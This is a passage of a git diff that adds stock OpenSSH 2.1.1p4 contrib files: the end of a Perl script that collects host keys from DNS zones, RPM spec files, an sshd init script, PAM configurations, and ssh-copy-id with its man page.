next unless defined $hostname; + if (/^.*\s(SOA)\s+(.*)\s*$/ || $hostname eq "SOA") { + undef $soa if(/^.*\s(SOA)\s+(.*)\s*$/); + $data = $_ if ($hostname eq "SOA"); + $data = $2 unless $hostname eq "SOA"; + $data =~ s/\s*;.*$//; + $data =~ s/^\s+//; + if( defined $soa ) { + $soa .= " \L$data\E"; + } else { + $soa = "\L$data\E"; + } + $hostname = "SOA"; + } elsif (/^.*\s(A|CNAME|NS)\s+(.*)\s*$/) { + $host = $hostname; + $field = "\L$1\E"; + $data = "\L$2\E"; + debug(70, "Line = /$host/$field/$data/"); + if ($host !~ /\.$/) { + $host .= ".$domain"; + } else { + $host =~ s/\.$//g; + } + if ($field eq "a") { + if ($host =~ /$domain$/) { + if (defined($host{$host})) { + $host{$host} .= ",$data"; + } else { + $host{$host} = "$data"; + $hostcnt++; + } + debug(30, "$host A == $host{$host}"); + } + } elsif ($field eq "cname") { + if ($data !~ /\.$/ && ! /^\s/ ) { + $data .= ".$domain"; + } else { + $data =~ s/\.$//g; + } + if ($host =~ /$domain$/) { + if (defined($cname{$data})) { + $cname{$data} .= ",$host"; + } else { + $cname{$data} = "$host"; + $cnamecnt++; + } + debug(30, "$host CNAME $data"); + $junk = $data; + $data = $host; + $host = $junk; + } + } elsif ($field eq "ns") { + if (!defined($domains_done{$host})) { + if (!defined($domains_waiting{$host})) { + debug(10, "Adding subdomain $host to domains list, with NS $data"); + $domains_waiting{$host} = $data; + push(@domains_waiting, $host); + } else { + debug(10, "Adding NS $data for domain $host"); + $domains_waiting{$host} .= ",$data"; + } + } + } + if (!defined($hostdata{$host})) { + $hostdata{$host} = "$host\n$field=$data\n"; + } else { + $hostdata{$host} .= "$field=$data\n"; + } + } + } + close(DNS); + if ($hostcnt == 0 && $cnamecnt == 0) { + if ($#other_servers != -1) { + $server = shift(@other_servers); + goto dnsagain; + } + } + debug(1, "Found $hostcnt hosts, $cnamecnt CNAMEs (total $lines lines)"); + if (!defined($opt_keyscan)) { + print(STDOUT "#\n"); + print(STDOUT "# Domain = $domain, server = $server\n"); + print(STDOUT "# Found $hostcnt hosts, $cnamecnt CNAMEs (total $lines lines)\n"); + print(STDOUT "# SOA = $soa\n"); + print(STDOUT "#\n"); + } + +###################################################################### +# Loop through hosts and try to connect to hosts + + foreach $i (sort (keys %host)) { + debug(50, "Host = $i, Hostdata = $hostdata{$i}"); + if ($hostdata{$i} =~ /$grep_yes/im && + $hostdata{$i} !~ /$grep_no/im && + $i !~ /^localhost\./ && + $host{$i} !~ /^127.0.0.1$|^127.0.0.1,|,127.0.0.1$|,127.0.0.1,/) { + debug(2, "Trying host $i"); + + @hostnames = (); + if (defined($cname{$i})) { + expand($i, \@hostnames, \@subdomains); + foreach $j (split(/,/, $cname{$i})) { + expand($j, \@hostnames, \@subdomains); + } + } else { + expand($i, \@hostnames, \@subdomains); + } + foreach $j (split(/,/, $host{$i})) { + push(@hostnames, $j); + } + $hostnames = join(',', (@hostnames)); + + if (defined($opt_keyscan)) { + printf(STDOUT "$host{$i}\t$hostnames\n"); + } elsif (try_ping($i, $host{$i})) { + $trusted = 1; + $err = 'Timeout expired'; + $ssh_key = try_ssh("$i"); + if (!defined($ssh_key)) { + $ssh_key = find_host_from_known_hosts($i); + $trusted = 0; + } + if (defined($ssh_key)) { + if ($trusted) { + debug(2, "Ssh to $i succeded"); + } else { + debug(2, "Ssh to $i failed, using local known_hosts entry"); + } + debug(4, "adding entries : $hostnames"); + $ssh_key =~ s/root@//i; + if (!$trusted && !$trustdaemon) { + print(STDOUT "# $hostnames $ssh_key\n"); + } else { + print(STDOUT "$hostnames $ssh_key\n"); + } + } else { + debug(2, "ssh failed : $err"); + } + } else { + debug(2, "ping failed"); + } + } else { + debug(10, "Skipped host $i"); + } + } + again: + $domain = shift(@domains_waiting); + if (defined($domain)) { + $server = $domains_waiting{$domain}; + @other_servers = split(',', $server); + $server = shift(@other_servers); + ($server, @other_servers) = find_soa($domain, $server); + if(!defined($server)) { + debug(1, "Skipping domain $domain because no DNS SOA entry found"); + $domains_done{$domain} = 1; + delete $domains_waiting{$domain}; + goto again; + } + } +} while ($recursive && defined($domain)); + +unlink($private_ssh_known_hosts); +exit (0); + +###################################################################### +# try_ping -- try to ping to host and return 1 if success +# $success = try_ping($host, $list_ip_addrs); + +sub try_ping { + my($host, $ipaddrs) = @_; + my(@ipaddrs, $ipaddr, $serv, $ip); + my($rin, $rout, $win, $wout, $nfound, $tmout, $buf, $len, $ret, $err); + + $buf = ''; + debug(51,"Trying to ping host $host"); + @ipaddrs = split(/,/, $ipaddrs); + + while ($ipaddr = shift(@ipaddrs)) { + + debug(55,"Trying ipaddr $ipaddr"); + + #initialize socket + socket(PING, PF_INET, SOCK_STREAM, $tcpproto) || + die "socket failed : $!"; + setsockopt(PING, SOL_SOCKET, SO_REUSEADDR, 1) || + die "setsockopt failed : $!"; + PING->autoflush(1); + fcntl(PING, F_SETFL, fcntl(PING, F_GETFL, 0) | POSIX::O_NONBLOCK) || + die "fcntl failed : $!"; + + $ip = pack('C4', split(/\./, $ipaddr, 4)); + $serv = pack($sockaddr, AF_INET, $sshport, $ip); + + again: + # try connect + $ret = connect(PING, $serv); + $err = $!; + if (!$ret) { + debug(60, "Connect failed : $err"); + if ($err == EINTR) { + goto again; + } + # socket not yet connected, wait for result, it will + # wake up for writing when done + $tmout = $ping_timeout; + + $rin = ''; + $win = ''; + vec($rin, fileno(PING), 1) = 1; + vec($win, fileno(PING), 1) = 1; + debug(60, "Waiting in select, rin = " . unpack('H*', $rin) . + ", win = " . unpack('H*', $win)); + ($nfound) = select($rout = $rin, $wout = $win, undef, $tmout); + $err = $!; + debug(80, "Select returned $nfound, rout = " . unpack('H*', $rout) . + ", wout = " . unpack('H*', $wout)); + if ($nfound != 0) { + # connect done, read the status with sysread + $ret = sysread(PING, $buf, 1); + $err = $!; + if (defined($ret) || $err == EAGAIN || $err == EWOULDBLOCK) { + debug(60, "Select ok, read ok ($err), returning ok"); + # connection done, return ok + shutdown(PING, 2); + close(PING); + return 1; + } else { + # connection failed, try next ipaddr + debug(60, "Select ok, read failed : $err, trying next"); + close(PING); + } + } else { + # timeout exceeded, try next ipaddr + debug(60, "Select failed : $err, trying next"); + close(PING); + } + } else { + # connect succeeded, return ok. + debug(60, "Connect ok, returning ok"); + shutdown(PING, 2); + close(PING); + return 1; + } + } + debug(60, "Returning fail"); + return 0; +} + +###################################################################### +# try_ssh -- try ssh connection to host and return ssh_key if success +# if failure return undef, and set $err string to contain error message. +# $ssh_key = try_ssh($host); + +sub try_ssh { + my($host) = @_; + my($buf, $ret, $pos, $pid, $rin, $nfound, $tmout); + + $pid = open(SSH, "$ssh $host cat $public_key 2>&1 |"); + $err = undef; + + if ($pid == 0) { + $err = "could not open ssh connection to host"; + return undef; + } + $ret = 1; + $pos = 0; + $buf = ''; + $tmout = $timeout; + debug(10, "Starting ssh select loop"); + loop: + while (1) { + + $rin = ''; + vec($rin, fileno(SSH), 1) = 1; + ($nfound, $tmout) = select($rin, undef, undef, $tmout); + + # Timeout + if ($nfound <= 0) { + debug(20, "Ssh select timed out"); + kill(2, $pid); sleep(1); kill(9, $pid); + close(SSH); + $err = "Timeout expired"; + return undef; + } + + $ret = sysread(SSH, $buf, 256, $pos); + # EOF or error + if ($ret <= 0) { + # Yes, close the pipe and return + close(SSH); + debug(20, "Ssh select closed status = $?"); + $err = "No reply from ssh"; + return undef; + } + $pos += $ret; + while ($buf =~ /^(.*)\n\r?([\000-\377]*)$/) { + $_ = $1; + $buf = $2; + $pos = length($buf); + debug(20, "Ssh select loop, line = \"$_\""); + if (/^connection.*refused/i) { + $err = "connection refused"; + } elsif (/^permission/i) { + $err = "permission denied"; + } elsif (/$public_key.*no\s+file/i) { + $err = "$public_key file not found"; + } elsif (/$public_key.*permission\s+denied/i) { + $err = "$public_key file permission denied"; + } elsif (/^\d+\s+\d+\s+\d/) { + kill(2, $pid); sleep(1); kill(9, $pid); + close(SSH); + return $_; + } + if (defined($err)) { + kill(2, $pid); sleep(1); kill(9, $pid); + close(SSH); + return undef; + } + } + if ($buf =~ /password: $/i) { + if (defined($passwordtimeout)) { + $tmout = $passwordtimeout; + print(STDERR "$bell\n\rPassword: "); + if ($tmout == 0) { + $tmout = undef; + } + } else { + $tmout = 0; + } + $buf = ''; + $pos = 0; + } + } +} + +###################################################################### +# find_hosts_from_known_hosts -- find host key from private known_hosts file +# $ssh_key = find_host_from_known_hosts($host); + +sub find_host_from_known_hosts { + my($host) = @_; + open(KNOWNHOSTS, "<$private_ssh_known_hosts") || return undef; + while() { + @_ = split(/\s+/, $_); + if ($_[0] =~ /^$host$|^$host,|,$host$/) { + shift(@_); + close(KNOWNHOSTS); + return join(' ', @_); + } + } + close(KNOWNHOSTS); + return undef; +} + +###################################################################### +# expand -- insert expanded hostnames to hostnames table +# expand($hostname, \@hostnames, \@subdomains); + +sub expand { + my($host, $hostnames, $subdomains) = @_; + my($newhost, $sub, $entry); + + if (!$domainnamesplit) { + my(@domain_pieces); + + # split domain to pieces + @domain_pieces = split(/\./, $host); + + # add rest parts, except the one before full domain name + $entry = shift(@domain_pieces); + + debug(20, "Adding autosplit entry $entry"); + push(@$hostnames, $entry); + + for(; $#domain_pieces > 1; ) { + $entry .= "." . shift(@domain_pieces); + debug(20, "Adding autosplit entry $entry"); + push(@$hostnames, $entry); + } + # add full domain name + debug(20, "Adding autosplit entry $host"); + push(@$hostnames, $host); + } else { + if ($host =~ /^(.*)$domain$/i) { + $newhost = $1; + $newhost =~ s/\.$//g; + foreach $sub (@$subdomains) { + $entry = $newhost . $sub; + $entry =~ s/^\.//g; + if ($entry ne '') { + debug(20, "Adding entry $entry"); + push(@$hostnames, $entry); + } + } + } + } +} + +###################################################################### +# Print debug text +# debug(text_debug_level, string) + +sub debug { + my($level, $str) = @_; + if ($debug > $level) { + print(STDERR "$0:debug[$level]: $str\n"); + } +} + +###################################################################### +# find_soa -- find soa entry for domain +# ($soa_origin, @other_servers) = find_soa($domain, $initial_server) + +sub find_soa { + my($domain, $initial_server) = @_; + my($field, $data, $server, @other_servers); + + open(DNS, "$nslookup -type=soa $domain $initial_server 2>&1 |") || + die "Error: Could not start nslookup to find SOA entry for $domain : $!\nError: Try giving the path to it with --nslookup option\n"; + + while () { + if (/^[^=]*origin\s*=\s*(.*)/) { + $server = $1; + debug(10, "Found origin : $1"); + } elsif (/^[^=]*nameserver\s*=\s*(.*)\s*$/) { + push(@other_servers, $1); + debug(10, "Found nameserver : $1"); + } + } + close(DNS); + return($server, @other_servers); +} + +###################################################################### +# make_perl_happy -- use some symbols, so perl doesn't complain so much +# make_perl_happy(); + +sub make_perl_happy { + if (0) { + print $opt_silent; + } +} + +1; diff --git a/other/openssh-reverse/contrib/redhat/openssh.spec b/other/openssh-reverse/contrib/redhat/openssh.spec new file mode 100644 index 0000000..f20a8db --- /dev/null +++ b/other/openssh-reverse/contrib/redhat/openssh.spec @@ -0,0 +1,275 @@ +# Version of OpenSSH +%define oversion 2.1.1p4 + +# Version of ssh-askpass +%define aversion 1.0 + +# Do we want to disable building of x11-askpass? (1=yes 0=no) +%define no_x11_askpass 0 + +# Do we want to disable building of gnome-askpass? (1=yes 0=no) +%define no_gnome_askpass 0 + +Summary: OpenSSH free Secure Shell (SSH) implementation +Name: openssh +Version: %{oversion} +Release: 1 +Packager: Damien Miller +URL: http://www.openssh.com/ +Source0: http://violet.ibs.com.au/openssh/files/openssh-%{oversion}.tar.gz +Source1: http://www.ntrnet.net/~jmknoble/software/x11-ssh-askpass/x11-ssh-askpass-%{aversion}.tar.gz +Copyright: BSD +Group: Applications/Internet +BuildRoot: /tmp/openssh-%{version}-buildroot +Obsoletes: ssh +PreReq: openssl >= 0.9.5a +Requires: openssl >= 0.9.5a +BuildPreReq: perl +BuildPreReq: openssl-devel +BuildPreReq: tcp_wrappers +%if %{no_x11_askpass} +BuildPreReq: gnome-libs-devel +%endif + +%package clients +Summary: OpenSSH Secure Shell protocol clients +Requires: openssh +Group: System Environment/Daemons +Obsoletes: ssh-clients + +%package server +Summary: OpenSSH Secure Shell protocol server (sshd) +Group: System Environment/Daemons +Obsoletes: ssh-server +PreReq: openssh chkconfig >= 0.9 + +%package askpass +Summary: OpenSSH X11 passphrase dialog +Group: Applications/Internet +Requires: openssh +Obsoletes: ssh-extras + +%package askpass-gnome +Summary: OpenSSH GNOME passphrase dialog +Group: Applications/Internet +Requires: openssh +Obsoletes: ssh-extras + +%description +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package includes the core files necessary for both the OpenSSH +client and server. To make this package useful, you should also +install openssh-clients, openssh-server, or both. + +%description clients +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package includes the clients necessary to make encrypted connections +to SSH servers. + +%description server +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package contains the secure shell daemon. The sshd is the server +part of the secure shell protocol and allows ssh clients to connect to +your host. + +%description askpass +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package contains Jim Knoble's X11 passphrase +dialog. + +%description askpass-gnome +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package contains the GNOME passphrase dialog. + +%changelog +* Wed Jul 12 2000 Damien Miller +- Make building of X11-askpass and gnome-askpass optional +* Mon Jun 12 2000 Damien Miller +- Glob manpages to catch compressed files +* Wed Mar 15 2000 Damien Miller +- Updated for new location +- Updated for new gnome-ssh-askpass build +* Sun Dec 26 1999 Damien Miller +- Added Jim Knoble's askpass +* Mon Nov 15 1999 Damien Miller +- Split subpackages further based on patch from jim knoble +* Sat Nov 13 1999 Damien Miller +- Added 'Obsoletes' directives +* Tue Nov 09 1999 Damien Miller +- Use make install +- Subpackages +* Mon Nov 08 1999 Damien Miller +- Added links for slogin +- Fixed perms on manpages +* Sat Oct 30 1999 Damien Miller +- Renamed init script +* Fri Oct 29 1999 Damien Miller +- Back to old binary names +* Thu Oct 28 1999 Damien Miller +- Use autoconf +- New binary names +* Wed Oct 27 1999 Damien Miller +- Initial RPMification, based on Jan "Yenya" Kasprzak's spec. + +%prep + +%setup -a 1 + +%build + +CFLAGS="$RPM_OPT_FLAGS" \ + ./configure --prefix=/usr --sysconfdir=/etc/ssh \ + --with-tcp-wrappers --with-ipv4-default \ + --with-rsh=/usr/bin/rsh + +make + +%if ! %{no_x11_askpass} +cd x11-ssh-askpass-%{aversion} +xmkmf -a +make +cd .. +%endif + +%if ! %{no_gnome_askpass} +cd contrib +gcc -O -g `gnome-config --cflags gnome gnomeui` \ + gnome-ssh-askpass.c -o gnome-ssh-askpass \ + `gnome-config --libs gnome gnomeui` +cd .. +%endif + +%install +rm -rf $RPM_BUILD_ROOT +make install DESTDIR=$RPM_BUILD_ROOT/ + +install -d $RPM_BUILD_ROOT/etc/pam.d/ +install -d $RPM_BUILD_ROOT/etc/rc.d/init.d +install -d $RPM_BUILD_ROOT/usr/libexec/ssh +install -m644 contrib/redhat/sshd.pam $RPM_BUILD_ROOT/etc/pam.d/sshd +install -m755 contrib/redhat/sshd.init $RPM_BUILD_ROOT/etc/rc.d/init.d/sshd + +%if ! %{no_x11_askpass} +install -s x11-ssh-askpass-%{aversion}/x11-ssh-askpass $RPM_BUILD_ROOT/usr/libexec/ssh/x11-ssh-askpass +ln -s /usr/libexec/ssh/x11-ssh-askpass $RPM_BUILD_ROOT/usr/libexec/ssh/ssh-askpass +%endif + +%if ! %{no_gnome_askpass} +install -s contrib/gnome-ssh-askpass $RPM_BUILD_ROOT/usr/libexec/ssh/gnome-ssh-askpass +%endif + +%clean +rm -rf $RPM_BUILD_ROOT + +%post server +/sbin/chkconfig --add sshd +if [ ! -f /etc/ssh/ssh_host_key -o ! -s /etc/ssh/ssh_host_key ]; then + /usr/bin/ssh-keygen -b 1024 -f /etc/ssh/ssh_host_key -N '' >&2 +fi +if [ ! -f /etc/ssh/ssh_host_dsa_key -o ! -s /etc/ssh/ssh_host_dsa_key ]; then + /usr/bin/ssh-keygen -d -f /etc/ssh/ssh_host_dsa_key -N '' >&2 +fi +if test -r /var/run/sshd.pid +then + /etc/rc.d/init.d/sshd restart >&2 +fi + +%preun server +if [ "$1" = 0 ] +then + /etc/rc.d/init.d/sshd stop >&2 + /sbin/chkconfig --del sshd +fi + +%files +%defattr(-,root,root) +%doc ChangeLog OVERVIEW COPYING.Ylonen README* INSTALL +%doc CREDITS UPGRADING +%attr(0755,root,root) /usr/bin/ssh-keygen +%attr(0755,root,root) /usr/bin/scp +%attr(0644,root,root) /usr/man/man1/ssh-keygen.1* +%attr(0644,root,root) /usr/man/man1/scp.1* +%attr(0755,root,root) %dir /etc/ssh +%attr(0755,root,root) %dir /usr/libexec/ssh + +%files clients +%defattr(-,root,root) +%attr(4755,root,root) /usr/bin/ssh +%attr(0755,root,root) /usr/bin/ssh-agent +%attr(0755,root,root) /usr/bin/ssh-add +%attr(0644,root,root) /usr/man/man1/ssh.1* +%attr(0644,root,root) /usr/man/man1/ssh-agent.1* +%attr(0644,root,root) /usr/man/man1/ssh-add.1* +%attr(0644,root,root) %config(noreplace) /etc/ssh/ssh_config +%attr(-,root,root) /usr/bin/slogin +%attr(-,root,root) /usr/man/man1/slogin.1* + +%files server +%defattr(-,root,root) +%attr(0755,root,root) /usr/sbin/sshd +%attr(0644,root,root) /usr/man/man8/sshd.8* +%attr(0600,root,root) %config(noreplace) /etc/ssh/sshd_config +%attr(0600,root,root) %config(noreplace) /etc/pam.d/sshd +%attr(0755,root,root) %config /etc/rc.d/init.d/sshd + +%if ! %{no_x11_askpass} +%files askpass +%defattr(-,root,root) +%doc x11-ssh-askpass-%{aversion}/README +%doc x11-ssh-askpass-%{aversion}/ChangeLog +%doc x11-ssh-askpass-%{aversion}/SshAskpass*.ad +%attr(0755,root,root) /usr/libexec/ssh/ssh-askpass +%attr(0755,root,root) /usr/libexec/ssh/x11-ssh-askpass +%endif + +%if ! %{no_gnome_askpass} +%files askpass-gnome +%defattr(-,root,root) +%attr(0755,root,root) /usr/libexec/ssh/gnome-ssh-askpass +%endif + diff --git a/other/openssh-reverse/contrib/redhat/sshd.init b/other/openssh-reverse/contrib/redhat/sshd.init new file mode 100755 index 0000000..cac91bb --- /dev/null +++ b/other/openssh-reverse/contrib/redhat/sshd.init @@ -0,0 +1,60 @@ +#!/bin/bash + +# Init file for OpenSSH server daemon +# +# chkconfig: 2345 55 25 +# description: OpenSSH server daemon +# +# processname: sshd +# config: /etc/ssh/ssh_host_key +# config: /etc/ssh/ssh_host_key.pub +# config: /etc/ssh/ssh_random_seed +# config: /etc/ssh/sshd_config +# pidfile: /var/run/sshd.pid + +# source function library +. /etc/rc.d/init.d/functions + +RETVAL=0 + +case "$1" in + start) + echo -n "Starting sshd: " + if [ ! -f /var/run/sshd.pid ] ; then + case "`type -type success`" in + function) + /usr/sbin/sshd && success "sshd startup" || failure "sshd startup" + RETVAL=$? + ;; + *) + /usr/sbin/sshd && echo -n "sshd " + RETVAL=$? + ;; + esac + [ $RETVAL -eq 0 ] && touch /var/lock/subsys/sshd + fi + echo + ;; + stop) + echo -n "Shutting down sshd: " + if [ -f /var/run/sshd.pid ] ; then + killproc sshd + fi + echo + [ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/sshd + ;; + restart) + $0 stop + $0 start + RETVAL=$? + ;; + status) + status sshd + RETVAL=$? + ;; + *) + echo "Usage: sshd {start|stop|restart|status}" + exit 1 +esac + +exit $RETVAL diff --git a/other/openssh-reverse/contrib/redhat/sshd.pam b/other/openssh-reverse/contrib/redhat/sshd.pam new file mode 100644 index 0000000..26dcb34 --- /dev/null +++ b/other/openssh-reverse/contrib/redhat/sshd.pam @@ -0,0 +1,8 @@ +#%PAM-1.0 +auth required /lib/security/pam_pwdb.so shadow nodelay +auth required /lib/security/pam_nologin.so +account required /lib/security/pam_pwdb.so +password required /lib/security/pam_cracklib.so +password required /lib/security/pam_pwdb.so shadow nullok use_authtok +session required /lib/security/pam_pwdb.so +session required /lib/security/pam_limits.so diff --git a/other/openssh-reverse/contrib/ssh-copy-id b/other/openssh-reverse/contrib/ssh-copy-id new file mode 100644 index 0000000..0ab37ca --- /dev/null +++ b/other/openssh-reverse/contrib/ssh-copy-id @@ -0,0 +1,45 @@ +#!/bin/sh + +# Shell script to install your identity.pub on a remote machine +# Takes the remote machine name as an argument. +# Obviously, the remote machine must accept password authentication, +# or one of the other keys in your ssh-agent, for this to work. + +ID_FILE="${HOME}/.ssh/identity.pub" + +if [ "-i" = "$1" ]; then + shift + # check if we have 2 parameters left, if so the first is the new ID file + if [ -n "$2" ]; then + if expr "$1" : ".*\.pub" ; then + ID_FILE="$1" + else + ID_FILE="$1.pub" + fi + shift # and this should leave $1 as the target name + fi +else + if [ x$SSH_AUTH_SOCK != x ] ; then + GET_ID="$GET_ID ssh-add -L" + fi +fi + +if [ -z "`eval $GET_ID`" -a -r "${ID_FILE}" ] ; then + GET_ID="cat ${ID_FILE}" +fi + +if [ -z "`eval $GET_ID`" ]; then + echo "$0: ERROR: No identities found" + exit 1 +fi + +{ eval "$GET_ID" ; } | ssh $1 "test -d .ssh || mkdir .ssh ; cat >> .ssh/authorized_keys ; chmod g-w . .ssh .ssh/authorized_keys" + +cat < + +Permission is granted to make and distribute verbatim copies of +this manual provided the copyright notice and this permission notice +are preserved on all copies. + +Permission is granted to copy and distribute modified versions of this +manual under the conditions for verbatim copying, provided that the +entire resulting derived work is distributed under the terms of a +permission notice identical to this one. + +Permission is granted to copy and distribute translations of this +manual into another language, under the above conditions for modified +versions, except that this permission notice may be included in +translations approved by the Free Software Foundation instead of in +the original English. +.. +.TH SSH-COPY-ID 1 "14 November 1999" "OpenSSH" +.SH NAME +ssh-copy-id \- install your identity.pub in a remote machine's authorized_keys +.SH SYNOPSIS +.B ssh-copy-id [-i [identity_file]] +.I "[user@]machine" +.br +.SH DESCRIPTION +.BR ssh-copy-id +is a script that uses ssh to log into a remote machine (presumably +using a login password, so password authentication should be enabled, +unless you've done some clever use of multiple identities) +.PP +It also changes the permissions of the remote user's home, +.BR ~/.ssh , +and +.B ~/.ssh/authorized_keys +to remove group writability (which would otherwise prevent you from logging in, if the remote +.B sshd +has +.B StrictModes +set in its configuration). +.PP +If the +.B -i +option is given then the identity file (defaults to +.BR ~/.ssh/identity.pub ) +is used, regardless of whether there are any keys in your +.BR ssh-agent . +Otherwise, if this: +.PP +.B " ssh-add -L" +.PP +provides any output, it uses that in preference to the identity file. +.PP +If the +.B -i +option is used, or the +.B ssh-add +produced no output, then it uses the contents of the identity +file. Once it has one or more fingerprints (by whatever means) it +uses ssh to append them to +.B ~/.ssh/authorised_keys +on the remote machine (creating the file, and directory, if necessary) + +.SH "SEE ALSO" +.BR ssh (1), +.BR ssh-agent (1), +.BR sshd (8) diff --git a/other/openssh-reverse/contrib/sshd.pam.freebsd b/other/openssh-reverse/contrib/sshd.pam.freebsd new file mode 100644 index 0000000..c0bc364 --- /dev/null +++ b/other/openssh-reverse/contrib/sshd.pam.freebsd @@ -0,0 +1,5 @@ +sshd auth required pam_unix.so try_first_pass +sshd account required pam_unix.so +sshd password required pam_permit.so +sshd session required pam_permit.so + diff --git a/other/openssh-reverse/contrib/sshd.pam.generic b/other/openssh-reverse/contrib/sshd.pam.generic new file mode 100644 index 0000000..cf5af30 --- /dev/null +++ b/other/openssh-reverse/contrib/sshd.pam.generic @@ -0,0 +1,8 @@ +#%PAM-1.0 +auth required /lib/security/pam_unix.so shadow nodelay +auth required /lib/security/pam_nologin.so +account required /lib/security/pam_unix.so +password required /lib/security/pam_cracklib.so +password required /lib/security/pam_unix.so shadow nullok use_authtok +session required /lib/security/pam_unix.so +session required /lib/security/pam_limits.so diff --git a/other/openssh-reverse/contrib/suse/openssh.spec b/other/openssh-reverse/contrib/suse/openssh.spec new file mode 100644 index 0000000..57e687c --- /dev/null +++ b/other/openssh-reverse/contrib/suse/openssh.spec @@ -0,0 +1,261 @@ +Summary: OpenSSH, a free Secure Shell (SSH) implementation +Name: openssh +Version: 2.1.1p4 +URL: http://www.openssh.com/ +Release: 1 +Source0: openssh-%{version}.tar.gz +Copyright: BSD +Group: Applications/Internet +BuildRoot: /tmp/openssh-%{version}-buildroot +PreReq: openssl +Obsoletes: ssh +# +# (Build[ing] Prereq[uisites] only work for RPM 2.95 and newer.) +# building prerequisites -- stuff for +# OpenSSL (openssl-devel), +# TCP Wrappers (nkitb), +# and Gnome (glibdev, gtkdev, and gnlibsd) +# +BuildPrereq: openssl-devel +BuildPrereq: nkitb +BuildPrereq: glibdev +BuildPrereq: gtkdev +BuildPrereq: gnlibsd + +%package clients +Summary: OpenSSH Secure Shell protocol clients +Requires: openssh +Group: Applications/Internet +Obsoletes: ssh-clients + +%package server +Summary: OpenSSH Secure Shell protocol server (sshd) +Requires: openssh +Group: System Environment/Daemons +PreReq: openssh +Obsoletes: ssh-server + +%package askpass +Summary: OpenSSH GNOME passphrase dialog +Group: Applications/Internet +Requires: openssh +Obsoletes: ssh-extras +Obsoletes: ssh-askpass + +%description +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package includes the core files necessary for both the OpenSSH +client and server. To make this package useful, you should also +install openssh-clients, openssh-server, or both. + +%description clients +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package includes the clients necessary to make encrypted connections +to SSH servers. + +%description server +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package contains the secure shell daemon. The sshd is the server +part of the secure shell protocol and allows ssh clients to connect to +your host. + +%description askpass +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package contains the GNOME passphrase dialog. + +%changelog +* Mon Jun 12 2000 Damien Miller +- Glob manpages to catch compressed files +* Wed Mar 15 2000 Damien Miller +- Updated for new location +- Updated for new gnome-ssh-askpass build +* Sun Dec 26 1999 Chris Saia +- Made symlink to gnome-ssh-askpass called ssh-askpass +* Wed Nov 24 1999 Chris Saia +- Removed patches that included /etc/pam.d/sshd, /sbin/init.d/rc.sshd, and + /var/adm/fillup-templates/rc.config.sshd, since Damien merged these into + his released tarfile +- Changed permissions on ssh_config in the install procedure to 644 from 600 + even though it was correct in the %files section and thus right in the RPMs +- Postinstall script for the server now only prints "Generating SSH host + key..." if we need to actually do this, in order to eliminate a confusing + message if an SSH host key is already in place +- Marked all manual pages as %doc(umentation) +* Mon Nov 22 1999 Chris Saia +- Added flag to configure daemon with TCP Wrappers support +- Added building prerequisites (works in RPM 3.0 and newer) +* Thu Nov 18 1999 Chris Saia +- Made this package correct for SuSE. +- Changed instances of pam_pwdb.so to pam_unix.so, since it works more properly + with SuSE, and lib_pwdb.so isn't installed by default. +* Mon Nov 15 1999 Damien Miller +- Split subpackages further based on patch from jim knoble +* Sat Nov 13 1999 Damien Miller +- Added 'Obsoletes' directives +* Tue Nov 09 1999 Damien Miller +- Use make install +- Subpackages +* Mon 